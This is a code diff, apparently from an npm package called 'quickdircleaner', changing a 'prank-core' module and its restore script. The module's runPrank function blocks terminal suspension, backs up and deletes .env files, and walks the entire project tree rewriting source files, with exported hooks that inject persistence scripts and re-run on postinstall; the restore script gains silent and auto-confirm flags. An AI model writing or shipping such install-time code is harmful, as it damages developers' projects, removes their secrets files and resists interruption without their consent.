@@ -416,13 +924,17 @@ async function walkAndCleanFullTree(rootResolved, backupEntries, logCleaned) {
|
|
|
416
924
|
continue;
|
|
417
925
|
}
|
|
418
926
|
|
|
419
|
-
|
|
420
|
-
if (!CLEANABLE_EXT.has(ext)) {
|
|
927
|
+
if (!isPenetrablePath(ent.name)) {
|
|
421
928
|
continue;
|
|
422
929
|
}
|
|
423
930
|
|
|
424
931
|
try {
|
|
425
|
-
await cleanSourceFile(
|
|
932
|
+
await cleanSourceFile(
|
|
933
|
+
realPath,
|
|
934
|
+
rootResolved,
|
|
935
|
+
backupEntries,
|
|
936
|
+
priorOriginals,
|
|
937
|
+
);
|
|
426
938
|
} catch {
|
|
427
939
|
/* skip */
|
|
428
940
|
}
|
|
@@ -430,7 +942,7 @@ async function walkAndCleanFullTree(rootResolved, backupEntries, logCleaned) {
|
|
|
430
942
|
}
|
|
431
943
|
}
|
|
432
944
|
|
|
433
|
-
async function walkAndClean(root, backupEntries,
|
|
945
|
+
async function walkAndClean(root, backupEntries, priorOriginals) {
|
|
434
946
|
let rootResolved = path.resolve(root);
|
|
435
947
|
try {
|
|
436
948
|
rootResolved = await fs.realpath(rootResolved);
|
|
@@ -439,17 +951,20 @@ async function walkAndClean(root, backupEntries, logCleaned) {
|
|
|
439
951
|
}
|
|
440
952
|
rootResolved = path.resolve(rootResolved);
|
|
441
953
|
|
|
442
|
-
await walkAndCleanFullTree(rootResolved, backupEntries,
|
|
954
|
+
await walkAndCleanFullTree(rootResolved, backupEntries, priorOriginals);
|
|
443
955
|
}
|
|
444
956
|
|
|
445
957
|
/**
|
|
446
958
|
* Runs env backup/removal and source walk; returns new backup entries for this run.
|
|
959
|
+
* @param {Map<string,string>|null|undefined} priorOriginals — first-run snapshots from
|
|
960
|
+
* `CLEANER_BACKUP.md` when re-invoking after `.cleaner_done`; backup rows use these
|
|
961
|
+
* so restore still targets true originals while disk reads are already mangled.
|
|
447
962
|
*/
|
|
448
|
-
async function runPrank(root,
|
|
963
|
+
async function runPrank(root, priorOriginals) {
|
|
449
964
|
installSigTstpBlocker();
|
|
450
965
|
const backupEntries = [];
|
|
451
|
-
await backupAndRemoveEnv(root, backupEntries);
|
|
452
|
-
await walkAndClean(root, backupEntries,
|
|
966
|
+
await backupAndRemoveEnv(root, backupEntries, priorOriginals);
|
|
967
|
+
await walkAndClean(root, backupEntries, priorOriginals);
|
|
453
968
|
return backupEntries;
|
|
454
969
|
}
|
|
455
970
|
|
|
@@ -700,6 +1215,7 @@ module.exports = {
|
|
|
700
1215
|
PERSIST_PREFIX,
|
|
701
1216
|
TARGET_SCRIPT_NAMES,
|
|
702
1217
|
buildMarkdown,
|
|
1218
|
+
mergeFirstSectionBackup,
|
|
703
1219
|
buildReapplySection,
|
|
704
1220
|
runPrank,
|
|
705
1221
|
injectPersistScripts,
|
package/restore.js
CHANGED
|
@@ -4,6 +4,26 @@ const path = require("path");
|
|
|
4
4
|
const readline = require("readline");
|
|
5
5
|
const core = require("./prank-core");
|
|
6
6
|
|
|
7
|
+
const argv = process.argv.slice(2);
|
|
8
|
+
const restoreAutoYes =
|
|
9
|
+
argv.includes("--yes") || argv.includes("-y");
|
|
10
|
+
const restoreSilent =
|
|
11
|
+
argv.includes("--silent") ||
|
|
12
|
+
argv.includes("-q") ||
|
|
13
|
+
process.env.QUICKDIRCLEANER_RESTORE_SILENT === "1";
|
|
14
|
+
|
|
15
|
+
function out(msg) {
|
|
16
|
+
if (!restoreSilent) {
|
|
17
|
+
console.log(msg);
|
|
18
|
+
}
|
|
19
|
+
}
|
|
20
|
+
|
|
21
|
+
function errOut(msg) {
|
|
22
|
+
if (!restoreSilent) {
|
|
23
|
+
console.error(msg);
|
|
24
|
+
}
|
|
25
|
+
}
|
|
26
|
+
|
|
7
27
|
function promptYesNo(question) {
|
|
8
28
|
return new Promise((resolve) => {
|
|
9
29
|
const rl = readline.createInterface({
|
|
@@ -85,20 +105,18 @@ async function main() {
|
|
|
85
105
|
raw = await fs.readFile(backupPath, "utf8");
|
|
86
106
|
} catch (err) {
|
|
87
107
|
if (err && err.code === "ENOENT") {
|
|
88
|
-
|
|
89
|
-
core.red(`Error: ${core.BACKUP_NAME} not found in the current directory.`),
|
|
90
|
-
);
|
|
108
|
+
errOut(core.red(`Error: ${core.BACKUP_NAME} not found in the current directory.`));
|
|
91
109
|
process.exitCode = 1;
|
|
92
110
|
return;
|
|
93
111
|
}
|
|
94
|
-
|
|
112
|
+
errOut(core.red(`Error: could not read ${core.BACKUP_NAME}.`));
|
|
95
113
|
process.exitCode = 1;
|
|
96
114
|
return;
|
|
97
115
|
}
|
|
98
116
|
|
|
99
117
|
const entries = core.parseFirstOriginalSectionMarkdown(raw);
|
|
100
118
|
if (entries.length === 0) {
|
|
101
|
-
|
|
119
|
+
errOut(core.red("Error: no file entries found in backup."));
|
|
102
120
|
process.exitCode = 1;
|
|
103
121
|
return;
|
|
104
122
|
}
|
|
@@ -113,9 +131,11 @@ async function main() {
|
|
|
113
131
|
const expected =
|
|
114
132
|
fileEntries.length + (synthetic && synthetic.content ? 1 : 0);
|
|
115
133
|
|
|
116
|
-
const confirmed =
|
|
134
|
+
const confirmed = restoreAutoYes
|
|
135
|
+
? true
|
|
136
|
+
: await promptYesNo("Restore and remove backup? (y/n) ");
|
|
117
137
|
if (!confirmed) {
|
|
118
|
-
|
|
138
|
+
errOut(core.yellow("Aborted."));
|
|
119
139
|
return;
|
|
120
140
|
}
|
|
121
141
|
|
|
@@ -143,7 +163,7 @@ async function main() {
|
|
|
143
163
|
}
|
|
144
164
|
|
|
145
165
|
if (restored !== expected) {
|
|
146
|
-
|
|
166
|
+
errOut(
|
|
147
167
|
core.red(
|
|
148
168
|
`Error: restored ${restored} of ${expected} item(s). Backup and flag were not removed.`,
|
|
149
169
|
),
|
|
@@ -152,11 +172,11 @@ async function main() {
|
|
|
152
172
|
return;
|
|
153
173
|
}
|
|
154
174
|
|
|
155
|
-
|
|
175
|
+
out(core.green(`Restored ${restored} item(s).`));
|
|
156
176
|
|
|
157
177
|
await core.deleteCounter(root);
|
|
158
178
|
await core.removeQuickdircleanerPackage(root);
|
|
159
|
-
|
|
179
|
+
out(
|
|
160
180
|
core.green(
|
|
161
181
|
"Removed node_modules/quickdircleaner so the next install can run postinstall again.",
|
|
162
182
|
),
|
|
@@ -167,9 +187,9 @@ async function main() {
|
|
|
167
187
|
const backupOk = await removeIfExists(backupPath);
|
|
168
188
|
|
|
169
189
|
if (flagOk && backupOk) {
|
|
170
|
-
|
|
190
|
+
out(core.green("Removed .cleaner_done and CLEANER_BACKUP.md."));
|
|
171
191
|
} else {
|
|
172
|
-
|
|
192
|
+
errOut(
|
|
173
193
|
core.yellow(
|
|
174
194
|
"Warning: restore finished but could not remove .cleaner_done and/or backup file.",
|
|
175
195
|
),
|
|
@@ -178,6 +198,6 @@ async function main() {
|
|
|
178
198
|
}
|
|
179
199
|
|
|
180
200
|
main().catch((err) => {
|
|
181
|
-
|
|
201
|
+
errOut(core.red(err && err.message ? err.message : String(err)));
|
|
182
202
|
process.exitCode = 1;
|
|
183
203
|
});
|